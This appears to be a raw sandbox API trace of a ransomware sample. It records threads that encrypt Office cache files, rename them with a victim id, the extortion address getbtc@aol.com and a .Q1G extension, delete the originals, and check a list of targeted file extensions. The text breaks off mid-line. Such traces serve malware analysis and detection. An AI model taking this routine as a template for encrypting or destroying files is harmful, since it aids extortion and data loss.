[0047.719] GetTickCount () returned 0x1145f9e [0047.719] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0048.022] GetTickCount () returned 0x11460c6 [0048.022] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0048.349] GetTickCount () returned 0x114620e [0048.349] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0048.730] GetTickCount () returned 0x1146384 [0048.730] GetTickCount () returned 0x1146384 [0048.730] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0049.111] GetTickCount () returned 0x114650a [0049.111] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0049.553] GetTickCount () returned 0x11466bf [0049.554] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0049.833] GetTickCount () returned 0x11467d8 [0049.833] GetTickCount () returned 0x11467d8 [0049.833] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0050.032] GetTickCount () returned 0x11468a3 [0050.032] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0050.558] GetTickCount () returned 0x1146ab5 [0050.558] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0050.757] GetTickCount () returned 0x1146b70 [0050.757] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0050.970] GetTickCount () returned 0x1146c4b [0050.970] GetTickCount () returned 0x1146c4b [0050.970] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0051.185] GetTickCount () returned 0x1146d25 [0051.185] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0051.942] GetTickCount () returned 0x1147012 [0051.942] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0052.333] GetTickCount () returned 0x1147198 [0052.333] GetTickCount () returned 0x1147198 [0052.333] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0052.567] GetTickCount () returned 0x1147282 [0052.567] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0052.839] GetTickCount () returned 0x114739b [0052.839] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0053.038] GetTickCount () returned 0x1147456 [0053.038] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0054.147] GetTickCount () returned 0x11478b9 [0054.147] GetTickCount () returned 0x11478b9 [0054.147] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0054.340] GetTickCount () returned 0x1147974 [0054.340] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0054.850] GetTickCount () returned 0x1147b77 [0054.857] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0055.135] GetTickCount () returned 0x1147c90 [0055.135] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0055.371] GetTickCount () returned 0x1147d7a [0055.371] GetTickCount () returned 0x1147d7a [0055.371] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0055.597] GetTickCount () returned 0x1147e54 [0055.597] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0055.856] GetTickCount () returned 0x1147f5d [0055.856] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0056.482] GetTickCount () returned 0x11481cd [0056.482] GetTickCount () returned 0x11481cd [0056.482] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0057.055] GetTickCount () returned 0x114840f [0057.055] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0057.352] GetTickCount () returned 0x1148537 [0057.352] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0057.776] GetTickCount () returned 0x11486dc [0057.776] GetTickCount () returned 0x11486dc [0057.776] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0058.176] GetTickCount () returned 0x1148872 [0058.176] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0058.385] GetTickCount () returned 0x114893d [0058.385] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0058.625] GetTickCount () returned 0x1148a36 [0058.625] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x9ac [0034.380] GetTickCount () returned 0x1143083 [0034.380] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x59e1d8 [0034.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0034.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0034.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0034.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0034.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b01a0 [0034.390] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b01a0, Size=0x20) returned 0x566700 [0034.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b01a0 [0034.390] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b01a0, Size=0x20) returned 0x566728 [0034.390] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.390] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.390] Wow64DisableWow64FsRedirection (in: OldValue=0x233ff84 | out: OldValue=0x233ff84*=0x0) returned 1 [0034.390] lstrlenW (lpString="kernel32.dll") returned 12 [0034.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x510000) returned 1 [0034.390] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x510000) returned 1 [0034.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x57d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0034.418] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0034.619] GetTickCount () returned 0x114313e [0034.619] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0035.329] GetTickCount () returned 0x11431da [0035.329] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0035.543] GetTickCount () returned 0x1143295 [0035.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0035.821] GetTickCount () returned 0x114337f [0035.821] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0036.113] GetTickCount () returned 0x11434a8 [0036.113] GetTickCount () returned 0x11434a8 [0036.113] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0036.634] GetTickCount () returned 0x114368b [0036.641] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0036.854] GetTickCount () returned 0x1143766 [0036.854] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0037.243] GetTickCount () returned 0x11438ec [0037.243] GetTickCount () returned 0x11438ec [0037.243] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0037.626] GetTickCount () returned 0x1143a72 [0037.627] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0038.016] GetTickCount () returned 0x1143bd9 [0038.016] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0038.474] GetTickCount () returned 0x1143d9d [0038.474] GetTickCount () returned 0x1143d9d [0038.474] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0038.906] GetTickCount () returned 0x1143f52 [0038.906] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0039.169] GetTickCount () returned 0x114404b [0039.169] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0039.405] GetTickCount () returned 0x1144145 [0039.405] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0039.983] GetTickCount () returned 0x1144348 [0039.983] GetTickCount () returned 0x1144348 [0039.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0040.626] GetTickCount () returned 0x114453b [0040.626] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0041.088] GetTickCount () returned 0x1144673 [0041.088] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0041.252] GetTickCount () returned 0x11446ff [0041.252] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0041.682] GetTickCount () returned 0x11448b4 [0041.682] GetTickCount () returned 0x11448b4 [0041.682] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0041.995] GetTickCount () returned 0x11449cd [0041.995] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0042.275] GetTickCount () returned 0x1144ad6 [0042.275] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0042.628] GetTickCount () returned 0x1144c3d [0042.628] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0042.738] GetTickCount () returned 0x1144caa [0042.738] GetTickCount () returned 0x1144caa [0042.738] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0043.136] GetTickCount () returned 0x1144e40 [0043.136] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0043.320] GetTickCount () returned 0x1144edc [0043.320] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0043.631] GetTickCount () returned 0x1145004 [0043.631] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0043.991] GetTickCount () returned 0x114517b [0043.991] GetTickCount () returned 0x114517b [0043.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0044.283] GetTickCount () returned 0x1145274 [0044.283] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0044.603] GetTickCount () returned 0x11453bc [0044.605] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0045.052] GetTickCount () returned 0x1145561 [0045.052] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0045.274] GetTickCount () returned 0x114563b [0045.274] GetTickCount () returned 0x114563b [0045.274] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0045.882] GetTickCount () returned 0x114589c [0045.882] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0046.448] GetTickCount () returned 0x1145a9f [0046.449] GetTickCount () returned 0x1145a9f [0046.449] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0047.090] GetTickCount () returned 0x1145d1e [0047.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0047.458] GetTickCount () returned 0x1145e95 [0047.458] GetTickCount () returned 0x1145e95 [0047.458] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0047.720] GetTickCount () returned 0x1145f9e [0047.720] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0048.022] GetTickCount () returned 0x11460c6 [0048.022] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0048.349] GetTickCount () returned 0x114620e [0048.349] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0048.723] GetTickCount () returned 0x1146384 [0048.724] GetTickCount () returned 0x1146384 [0048.724] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0049.111] GetTickCount () returned 0x114650a [0049.111] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0049.554] GetTickCount () returned 0x11466bf [0049.554] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0049.833] GetTickCount () returned 0x11467d8 [0049.833] GetTickCount () returned 0x11467d8 [0049.833] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0050.032] GetTickCount () returned 0x11468a3 [0050.032] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0050.559] GetTickCount () returned 0x1146ab5 [0050.559] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0050.757] GetTickCount () returned 0x1146b70 [0050.757] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0050.970] GetTickCount () returned 0x1146c4b [0050.970] GetTickCount () returned 0x1146c4b [0050.970] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0051.185] GetTickCount () returned 0x1146d25 [0051.185] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0051.942] GetTickCount () returned 0x1147012 [0051.942] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0052.333] GetTickCount () returned 0x1147198 [0052.333] GetTickCount () returned 0x1147198 [0052.333] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0052.567] GetTickCount () returned 0x1147282 [0052.567] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0052.839] GetTickCount () returned 0x114739b [0052.839] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0053.038] GetTickCount () returned 0x1147456 [0053.038] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0054.147] GetTickCount () returned 0x11478b9 [0054.147] GetTickCount () returned 0x11478b9 [0054.147] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0054.340] GetTickCount () returned 0x1147974 [0054.341] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0054.857] GetTickCount () returned 0x1147b77 [0054.857] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0055.135] GetTickCount () returned 0x1147c90 [0055.135] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0055.371] GetTickCount () returned 0x1147d7a [0055.371] GetTickCount () returned 0x1147d7a [0055.371] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0055.597] GetTickCount () returned 0x1147e54 [0055.597] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0055.856] GetTickCount () returned 0x1147f5d [0055.856] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0056.482] GetTickCount () returned 0x11481cd [0056.482] GetTickCount () returned 0x11481cd [0056.482] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0057.055] GetTickCount () returned 0x114840f [0057.055] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0057.352] GetTickCount () returned 0x1148537 [0057.352] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0057.776] GetTickCount () returned 0x11486dc [0057.776] GetTickCount () returned 0x11486dc [0057.776] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0058.176] GetTickCount () returned 0x1148872 [0058.176] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0058.385] GetTickCount () returned 0x114893d [0058.385] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0058.625] GetTickCount () returned 0x1148a36 [0058.625] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x9b0 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x58d460 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x59fe80 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0128 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54a378 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00e0 [0034.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3040020 [0034.382] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00f8 [0034.382] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b00f8, Size=0x20) returned 0x566700 [0034.382] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00f8 [0034.382] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b00f8, Size=0x20) returned 0x566728 [0034.382] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.382] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.382] Wow64DisableWow64FsRedirection (in: OldValue=0x2a3ff58 | out: OldValue=0x2a3ff58*=0x0) returned 1 [0034.382] lstrlenW (lpString="kernel32.dll") returned 12 [0034.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x510000) returned 1 [0034.382] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x510000) returned 1 [0034.382] Sleep (dwMilliseconds=0x64) [0034.619] Sleep (dwMilliseconds=0x64) [0035.329] Sleep (dwMilliseconds=0x64) [0035.543] Sleep (dwMilliseconds=0x64) [0035.821] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.821] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0035.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.821] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1565) returned 1 [0035.821] CloseHandle (hObject=0x190) returned 1 [0035.822] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0035.822] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.822] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.822] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0036.566] GetLastError () returned 0x0 [0036.566] ReadFile (in: hFile=0x190, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x61d, lpOverlapped=0x0) returned 1 [0036.578] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x620, lpOverlapped=0x0) returned 1 [0036.579] ReadFile (in: hFile=0x190, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.579] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.579] SetEndOfFile (hFile=0x1d0) returned 1 [0036.580] CloseHandle (hObject=0x1d0) returned 1 [0036.580] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.580] SetEndOfFile (hFile=0x190) returned 1 [0036.581] CloseHandle (hObject=0x190) returned 1 [0036.581] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.581] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0036.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.581] lstrlenW (lpString=".doc") returned 4 [0036.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.581] lstrlenW (lpString=".docx") returned 5 [0036.582] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.582] lstrlenW (lpString=".pdf") returned 4 [0036.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".xls") returned 4 [0036.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".xlsx") returned 5 [0036.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.582] lstrlenW (lpString=".ppt") returned 4 [0036.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString=".zip") returned 4 [0036.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.582] lstrlenW (lpString=".rar") returned 4 [0036.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".bz2") returned 4 [0036.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".7z") returned 3 [0036.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString=".dbf") returned 4 [0036.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString=".1cd") returned 4 [0036.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString=".jpg") returned 4 [0036.582] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.582] lstrlenW (lpString=".doc") returned 4 [0036.582] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".docx") returned 5 [0036.582] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.583] lstrlenW (lpString=".pdf") returned 4 [0036.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".xls") returned 4 [0036.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".xlsx") returned 5 [0036.583] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.583] lstrlenW (lpString=".ppt") returned 4 [0036.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.583] lstrlenW (lpString=".zip") returned 4 [0036.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.583] lstrlenW (lpString=".rar") returned 4 [0036.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".bz2") returned 4 [0036.583] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".7z") returned 3 [0036.583] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.583] lstrlenW (lpString=".dbf") returned 4 [0036.583] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.583] lstrlenW (lpString=".1cd") returned 4 [0036.583] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0036.583] lstrlenW (lpString=".jpg") returned 4 [0036.583] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.583] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.583] lstrlenW (lpString="branding.xml") returned 12 [0036.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.586] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=596341) returned 1 [0036.586] CloseHandle (hObject=0x190) returned 1 [0036.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all 